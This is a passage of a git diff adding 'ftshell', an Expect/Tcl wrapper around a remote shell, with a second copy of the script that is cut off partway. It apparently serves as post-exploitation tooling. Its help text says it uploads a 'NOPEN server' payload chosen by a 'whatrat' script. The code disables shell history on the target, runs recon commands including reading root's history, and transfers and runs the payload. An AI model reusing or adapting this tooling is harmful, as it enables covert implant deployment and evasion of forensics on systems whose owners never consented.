+'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_verbose "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set label "$outfile.Z" + set local_cmd "compress -fc $infile | uuencode $label | cat"; + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" +# set remote_cmd "cat | tee /tmp/.tt.uu | $uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + + send_verbose "\nlocal command: $local_cmd" + send_verbose "remote command: $remote_cmd" + + if [rcmd "touch $outfile\r"] { + send_verbose "put failed -- can't write to destination file" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_verbose "Unable to clear PS2 variable" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | tee /tmp/.t.$$.uu | wc -c" r] + gets $fp buf + send_user "$buf\n" + + # Issue remote command to recieve data + send_verbose "sending ... once we see put ready : prdy" + send "\r" + expect -re $prompt + + # We indicate the remote side is "put ready" with the echo prdy + # So if the echo command got there, we assume the remainder of that line + # did as well, so it is ready for data. + send "echo prdy ; $remote_cmd\r" + + # Pause here to wait until remote execution of the command is confirmed + # via the "put ready" + expect -re "prdy" + + log_user 0 + set sentLines 0 + +# set fp [open "|$local_cmd" r] + set fp [open "/tmp/.t.$$.uu" r] + #set blah [exec rm -f /current/tmp/t.uu] + #set lfp [open "/current/tmp/t.uu" w] + set bytesTransfered 0 + while 1 { + set buf "" + set len [gets $fp buf] + if {-1 == $len} break + if {$len > 0} { + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + } +# ## This was an attempt to throttle the throughput. With expect 5.42.1, +# ## something was causing introduction of crap or duplicate blocks +# ## of data, we thought maybe tty was overloaded. Turns out upgrading to +# ## version expect 5.43 fixed this problem. +# ## +# ## set send_slow {61 .011} +# # while 1 { +# # set buf "" +# # set len [gets $fp buf] +# # # ADD these only if ppp? +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # if {-1 == $len} break +# # if {$len > 0} { +# # set ret [send -- "$buf\n"] +# # #puts $lfp "$buf" +# # # set blah [exec echo "$buf" >> /current/tmp/t.uu] +# # # set ret [puts "$buf"] +# # #set blah [exec echo len=$len send returns $ret >> /current/tmp/dammit] +# # } else { +# # # set blah [exec echo BAD len=$len send returns $ret >> /current/tmp/dammit] +# # } +# # # send -- "$buf\n" +# # updateStatus "sent" [string length $buf] +# # # Delay here keeps FC3 ftshell client in synch? +# # # set pausenow [expr $sentLines % 10] +# # # if {$pausenow == 0} { +# # # 20060303: Now we do this once per line +# # set blah [exec usleep 100] +# # #set blah [exec usleep 100] +# # #set blah [exec usleep 100] +# # # } +# # } + close $fp + exec rm -f /tmp/.t.$$.uu + #set blah [exec usleep 100] + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_verbose "chmod failed" + } + } + + rcmd "stty echo\r" + send "ls -l $outfile*\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + global TheirPath + global Uname + + set nowTime [timestamp] + send_verbose "+\n" + send_verbose "ENTERING INTERACTIVE MODE at \n\+ " + send_verbose [timestamp -format " %c" -seconds $nowTime] + send_verbose "" + if { ![string match "" $TheirPath] } { + send_verbose "Remote PATH : $TheirPath" + } + if { ![string match "" $Uname] } { + send_verbose "uname says remote OS : $Uname" + } + if { ![string match "" $showthis] } { + send_verbose "ourtn gave us this : $showthis\n+-----------------------------------------------------" + } +} + +proc execbash {forced} { + global dobash + global prompt + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "which" + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global exitstartingdir + global prompt + global donealready + global uPath + global TheirPath + global PathSet + global my_script + global my_script_firstline + global usesetenv + global OtherUpload + global Uname + global TheirPath + + set startingDir "/tmp" + + dounsets + if { [string length $uPath] > 0 } { + if { $PathSet == 0 } { + if ($usesetenv) { + send "setenv PATH $uPath:\$PATH\r" + } else { + send "PATH=$uPath:\$PATH ; export PATH\r" + } + expect -re $prompt + send "echo PATH=\$PATH\r" + expect -re $prompt + } + set PathSet 1 + } +# if { [string length $TheirPath] == 0 } { +# system rm -f /current/tmp/ftshell.latest +# if { $my_script_firstline > 0 } { +# if ![file exists /current/tmp] { +# system mkdir /current/tmp +# } +# if [catch "exec which fix-typescript" msg] { +# send_verbose "fix-typescript not in PATH" +# } else { +# system fix-typescript $my_script 2>/dev/null | tail +$my_script_firstline > /current/tmp/ftshell.latest +# } +# } +# if [catch "exec grep ^PATH /current/tmp/ftshell.latest | tail -1" msg] { +# send_verbose "Need fix-typescript in local PATH\n" +# set TheirPath "" +# } else { +# set TheirPath "[exec grep ^PATH /current/tmp/ftshell.latest | tail -1]" +# } +# } + + if { $donealready } { + return + } + set donealready 1 + send "pwd\r" +# expect -re $prompt + expect -re "pwd\r\n(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n\]*)" $expect_out(1,string) ignore startingDir + } + # If we don't have a leading slash and a dir at least one deep, + # set startingDir back to /tmp. + if { ![regexp "^/(..*)/." $startingDir] } { + set startingDir "/tmp" + } + # Set startingDir back to /tmp if trhe -x option was given on the command line. + if { [string match "yes" $exitstartingdir] } { + set startingDir "/tmp" + } + + if { ![string match "yes" $dothisquiet] } { +# send "cd /dev ; /bin/ps -ef | grep $$\r" + send "cd /dev ; ps\r" + expect -re $prompt +# send "cd /tmp ; /bin/ps -ef | grep $$\r" + send "cd $startingDir || cd /tmp ; pwd ; ps\r" + expect -re $prompt + send "set; echo === ; env\r" + expect -re $prompt + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + } else { + send "cd $startingDir || cd /tmp ; pwd\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] || $OtherUpload == 2 } { + send "uname -a\r" +sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp ".*uname -a\r\n(.*)" $expect_out(1,string) ignore Uname + } + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k \r" + send "\r" + send "pwd\r" + expect -re "pwd\r\n(.*)\r\n.*$prompt" { + set unknown "" + regexp "PATH=(\[^\r\n\]*)" $expect_out(1,string) unknown TheirPath + } + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_verbose "interact failed - perhaps the connection died" + send_verbose "hit (c) to continue agin, or (q) to quit" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usesetenv + global dothisreallyquiet + global OtherUpload + global Uname + global TheirPath showthis + + stty raw -echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_verbose "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_verbose " : Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + # If dothisfirst resulted in Uname being populated, this + # will set uLocalFile for us. + setlocalfile + + set nowTime [timestamp] + + send_verbose "\n+-----------------------------------------------------+" + send_verbose "+\n" + send_verbose "ENTERING AUTO UPLOAD MODE at \n\+ " + send_verbose [timestamp -format " %c" -seconds $nowTime]\n+ + if { ![string match "" $TheirPath] } { + send_verbose "Remote PATH : $TheirPath" + } + if { ![string match "" $Uname] } { + send_verbose "uname says remote OS : $Uname" + } + if { ![string match "" $uLocalFile] } { + if { $OtherUpload == 2 } { + send_verbose "whatrat.pl chose rat : $uLocalFile" + } else { + send_verbose " -u Local File : $uLocalFile" + } + } + if { ![string match "" $showthis] } { + send_verbose "ourtn gave us this : $showthis\n+-----------------------------------------------------+" + } + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "\r\n\r\nABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r\n\r\n" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + global sentLines + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_verbose "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_verbose "resuming session..." + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" +interactive + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { +# set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" + set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.11.0.5 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 +set sentLines 0 +set rpid "" +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_verbose "Unknown OS type '$os', can't determine args to uudecode"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_verbose " Version $version" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. The target's +uudecode, compress, gzip and perl are located via the shell builtin +\"type\", unless that fails and then \"which\" is used. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run (where \$DIR is either our cwd or /tmp): + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; /bin/ps -ef | grep \$\$ + cd \$DIR ; /bin/ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd \$DIR ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -x Used with -I, exits the working directory that we started in + when the shell startd up. This is intended for situations where + the old behavior (cd to /tmp) is desired. + -9 list Add the list of colon delimited paths to the PATH. + -B Try to exec bash if available. + -E Use \"setenv VAR val\" to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. If + \"-u viaftshellauto\" is used, ftshell attempts to use remote + uname command to determine what exactly to upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U Execute the commands in the local file + /current/.ourtn-ftshell-upcommand on the target + to upload the file rather than the -u method. End result + must be that rname exists in /tmp. This will normally be a + wget or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, file + could just contain \"echo\", to basically do nothing at that + step. (ftshell -U option is used by ourtn -V.) + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +# my_script will be the file this window is scripted to, if any, with +# a "script -af file" command +set my_pid [exp_pid] +if [catch "exec which scriptcheck" msg] { + send_verbose "scriptcheck not in PATH" + set my_script "" +} else { + set my_script [exec scriptcheck] +} + +if [info exists env(SHOWTHIS)] { + set showthis "$env(SHOWTHIS)" +} else { + set showthis "" +} +send_verbose "+------------------------------------------------------" +send_verbose "+ Welcome to ftshell v.$version -- File Transter Shell" +send_verbose "+------------------------------------------------------" + +sleep 1 +set my_script_firstline "" +if [string length $my_script] { +# set my_script_firstline [exec grep -n "Welcome to ftshell v.$version" $my_script | tail -1 | cut -f 1 -d ":"] +# send_user "window scripted to : $my_script (at line $my_script_firstline)\n" + send_verbose "window scripted: $my_script" +} else { + send_verbose " : THIS IS NOT A SCRIPTED WINDOW" +} +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_verbose " -I : Issuing recon commands" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_verbose " -q : Being quiet about it (no ps or ls)" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_verbose " -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-x (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_verbose " -x : Exit the working directory we started in" + set exitstartingdir "yes" +} else { + set exitstartingdir "" +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_verbose " -E : Using setenv syntax" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_verbose " -B : Switching to /bin/bash if available" + set dobash 1 +} else { + set dobash 0 +} + +if [regexp "(.*)\\-9 ((\[^ \])*)(.*)" $argv ignore ava uPath ignore avb] { + set argv "$ava $avb" + # ourtn error checked this argument we will not +} else { + set uPath "" +} +set TheirPath "" +set PathSet 0 + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_verbose "Can't find uudecode anywhere in PATH" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_verbose "Can't find uudecode anywhere in PATH" + exit 1 +} + +set OtherUpload 0 +set Uname "" + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_verbose " -u : uploading ${uLocalFile}" + set OtherUpload 1 + if { [string match "viaftshellauto" $uLocalFile] } { + set OtherUpload 2 + } else { + set uLocalFile "" + } + } else { + send_verbose " -u Local File : $uLocalFile" + } +} else { + set uLocalFile "" +} + + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_verbose " Remote File : $uRemoteFile" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_verbose " -L : Keeping shell alive" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + if ![file exists /current/.ourtn-ftshell-upcommand] { + send_verbose "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n" + exit 1 + } + set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]" + send_verbose " -U : Using preset upload string (next line)" + send_verbose " : $uRemoteUploadCommand" + if {[string compare $uRemoteUploadCommand ""] == 0} { + send_verbose "Could not find any remote upload command in /current/.ourtn-ftshell-upcommand (-U)" + exit 1 + } +} else { + set uRemoteUploadCommand "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_verbose " Before Command: $uBeforeCmd" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_verbose " After Command : $uAfterCmd" +} else { + set uAfterCmd "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_verbose "\n" +send_verbose "-----------------------------------------------------" +send_verbose " Welcome to ftshell v.$version -- File Transter Shell" +send_verbose " Use ~~ to access menu/commands." +send_verbose " You may need to add extra ~ characters if you" +send_verbose " are logged in via something like rlogin." +send_verbose " Typing a ^C during a file transfer, will probably" +send_verbose " kill this program and anything you run through it" +send_verbose " " +send_verbose " New: Interactive mode now always executes a few" +send_verbose " commands (unset, ps, grep, w, date, etc.)" +send_verbose "-----------------------------------------------------" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.10.2.1 b/Linux/bin/ftshell.v3.10.2.1 new file mode 100755 index 0000000..55df00d --- /dev/null +++ b/Linux/bin/ftshell.v3.10.2.1 @@ -0,0 +1,1131 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.41 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + global sentLines + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + set sentLines [expr $sentLines + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } + # Adding this TINY pause once each 10 lines seems to keep expect happy locally. + # Without it (at least on Fedora Core 3), garbage was introduced into + # uuencoded data being transferred. +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + global sentLines + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } +# expect -re "(.*)\r\n.*$prompt" { +# regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath +# regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath +# regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath +# regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath +# } + } else { + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + 